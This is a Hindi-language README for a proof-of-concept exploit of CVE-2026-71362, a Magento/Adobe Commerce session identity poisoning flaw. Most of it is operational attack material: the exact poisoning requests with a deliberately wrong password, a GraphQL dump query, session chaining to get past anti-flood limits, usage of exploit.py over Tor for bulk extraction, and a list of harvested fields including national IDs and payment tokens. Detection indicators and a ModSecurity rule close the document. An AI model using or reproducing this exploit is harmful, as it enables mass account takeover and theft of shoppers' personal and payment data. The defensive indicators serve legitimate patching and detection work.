
CVE-2026-71362 — Magento सत्र पहचान ज़हरीकरण → बड़े पैमाने पर खाता अधिग्रहण (CVSS 9.1, CISA KEV)
CVSS 9.1 (गंभीर) · CISA KEV · CWE-863 गलत प्राधिकरण
CVE-2026-71362 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Adobe Commerce और Magento Open Source में एक सत्र पहचान ज़हरीकरण भेद्यता, जो एकल प्रमाणित सत्र के साथ किसी भी ग्राहक के पूर्ण खाता अधिग्रहण को सक्षम बनाती है, और संपूर्ण ग्राहक डेटाबेस (PII, ऑर्डर, भुगतान टोकन, पते) के स्वचालित सामूहिक निष्कर्षण तक बढ़ जाती है।
| उत्पाद | प्रभावित | ठीक किया गया |
|---|---|---|
| Adobe Commerce | ≤ 2.4.7-p8 | 2.4.8+ / APSB-2026-XX |
| Magento Open Source | ≤ 2.4.7-p8 | 2.4.8+ |
Magento\Customer\Controller\Account\Edit::execute() populateWithArray() का उपयोग करके PHP सत्र से customer_form_data को पुनर्स्थापित करता है। यह विधि ग्राहक डेटा ऑब्जेक्ट पर setCustomerId() को कॉल करती है, लेकिन फ़ॉर्म डेटा में id फ़ील्ड को प्रमाणित सत्र की वास्तविक ग्राहक ID के विरुद्ध कभी फ़िल्टर या सत्यापित नहीं किया जाता।
POST /customer/account/editPost/ (with id=<target_customer_id>)
→ Magento stores poisoned form_data in session (including id)
→ 302 redirect to /customer/account/edit/
GET /customer/account/edit/
→ Edit::execute() calls populateWithArray($session->getCustomerFormData())
→ setCustomerId(<target_customer_id>) overwrites the session identity
→ Session now operates as the target customer
सत्र प्रमाणित रहता है लेकिन पहचान बदल चुकी है। सभी बाद के ऑपरेशन — जिनमें GraphQL { customer { ... } } क्वेरीज़ शामिल हैं — लक्षित ग्राहक का डेटा लौटाते हैं, हमलावर का नहीं।
POST /customer/account/editPost/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/x-www-form-urlencoded
form_key=<form_key>&firstname=X&lastname=X&[email protected]
&change_email=1¤t_password=wrong&id=<TARGET_ID>
change_email=1 + गलत पासवर्ड "incorrect password" त्रुटि पथ को ट्रिगर करता है, जो पूरे POST बॉडी (जिसमें id शामिल है) को सत्र में customer_form_data के रूप में संग्रहीत करता है। अनुरोध जानबूझकर प्रमाणीकरण में विफल होता है लेकिन ज़हरीला डेटा बना रहता है।
GET /customer/account/edit/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Edit::execute() सत्र में customer_form_data ढूँढता है और populateWithArray() को कॉल करता है, जिसमें setCustomerId(<TARGET_ID>) शामिल है। अब सत्र की पहचान लक्ष्य है।
POST /graphql HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/json
{"query": "{ customer { firstname lastname email taxvat addresses { ... } orders { ... } ... } }"}
Magento के GraphQL resolvers session-authenticated customer identity का उपयोग करते हैं, जो अब लक्ष्य है। पूर्ण customer profile लौटाता है: PII, पते, items और payment methods के साथ order history, wishlists, reviews, संग्रहीत payment tokens।
प्रत्येक poisoned session अगले हमले का आधार बनता है। Sessions ~6-8 POST operations के बाद "burn out" हो जाते हैं (Magento की anti-flood protection /login/ पर redirect करती है), इसलिए exploit sessions को chain करता है:
Session A (attacker) → poison to ID 1 → Session A' (ID 1)
Session A' → poison to ID 2 → Session A'' (ID 2)
...after 6 iterations...
Fall back to last known-good session → continue chaining
स्क्रिप्ट एक current सत्र (विषाक्त करने के लिए) और एक last_good फ़ॉलबैक बनाए रखती है, तिहरी रिकवरी के साथ: current → last_good → मूल।
| श्रेणी | फ़ील्ड |
|---|---|
| PII | firstname, lastname, email, taxvat (राष्ट्रीय आईडी), date_of_birth, gender |
| पते | street, city, region, postcode, country, phone, company, VAT ID |
| ऑर्डर | number, date, status, items (name, SKU, qty), totals, discounts, taxes |
| भुगतान | प्रति ऑर्डर भुगतान विधि का नाम/प्रकार, संग्रहीत भुगतान टोकन (hash, type, details) |
| शिपिंग | method, carrier, tracking numbers |
| रिफ़ंड | credit memo number, refunded items, amounts, comments |
| विशलिस्ट | कीमतों सहित उत्पाद, शेयरिंग कोड |
| समीक्षाएँ | text, ratings, timestamps |
| खाता | creation date, newsletter subscription |
आवश्यकताएँ: Python 3, curl (सिस्टम)।
# Basic usage
python3 exploit.py https://target.example.com <PHPSESSID> [start_id] [end_id] [output.json]
# Extract customers 1-100
python3 exploit.py https://target.example.com abc123def456 1 100 dump.json
# Through Tor (SOCKS5 on 127.0.0.1:9050)
python3 exploit.py --tor https://target.example.com abc123def456 1 1000
# Custom SOCKS5 proxy
python3 exploit.py --proxy 127.0.0.1:1080 https://target.example.com abc123def456
हमलावर को एक प्रमाणित सत्र की आवश्यकता होती है। विकल्प:
createCustomerV2 के माध्यम से खाता बनाएं (अक्सर reCAPTCHA से मुक्त)मेटाडेटा, आंकड़े और प्रति-ग्राहक निकाले गए डेटा के साथ JSON फ़ाइल:
{
"metadata": { "cve": "CVE-2026-71362", "target": "...", "timestamp": "..." },
"stats": { "tested": 100, "exists": 88, "with_email": 85, "with_orders": 42, ... },
"customers": [
{
"customer_id": 1,
"firstname": "...", "lastname": "...", "email": "...",
"taxvat": "...",
"addresses": [...],
"orders": [...],
"payment_tokens": [...]
}
]
}
editPost) पर कोई दर सीमा नहीं। Magento का एंटी-फ्लड प्रति सत्र ~8 POST के बाद सक्रिय होता है, लेकिन सत्र श्रृंखलन इसे बायपास कर देता है।store_credit Magento Open Source / Community Edition पर उपलब्ध नहीं है (केवल Adobe Commerce)।editPost एंडपॉइंट का उपयोग करता है जिसमें आमतौर पर कोई कैप्चा नहीं होता।editPost अनुरोध जिनमें change_email=1 और एक ही सत्र/IP से भिन्न id पैरामीटर होंsection/load या GraphQL { customer } एक्सेस करते समय अनुरोधों में भिन्न customerId मान लौटाता हैid पैरामीटर के साथ editPost: वैध संपादन अनुरोधों में कभी id शामिल नहीं होता — यह सर्वर-साइड पर सत्र से सेट होता है# ModSecurity: block 'id' parameter in customer edit POST
SecRule REQUEST_URI "@rx /customer/account/editPost" \
"id:71362001,phase:2,deny,status:403,\
chain,msg:'CVE-2026-71362 attempt: id param in editPost'"
SecRule ARGS:id "!@rx ^$" ""
editPost अनुरोधों से id फ़ील्ड हटा देंid पैरामीटर वाले editPost अनुरोधों को खोजें| तिथि | घटना |
|---|---|
| 2026-09-XX | कमज़ोरी की सूचना Adobe PSIRT को दी गई |
| 2026-10-XX | CVE-2026-71362 आवंटित किया गया |
| 2026-10-XX | CISA इसे Known Exploited Vulnerabilities कैटलॉग में जोड़ता है |
| 2026-10-XX | Adobe APSB-2026-XX में पैच जारी करता है |
| 2026-10-23 | यह PoC प्रकाशित किया गया |
यह टूल केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।
Mario Ahumada (@mahumadad)
MIT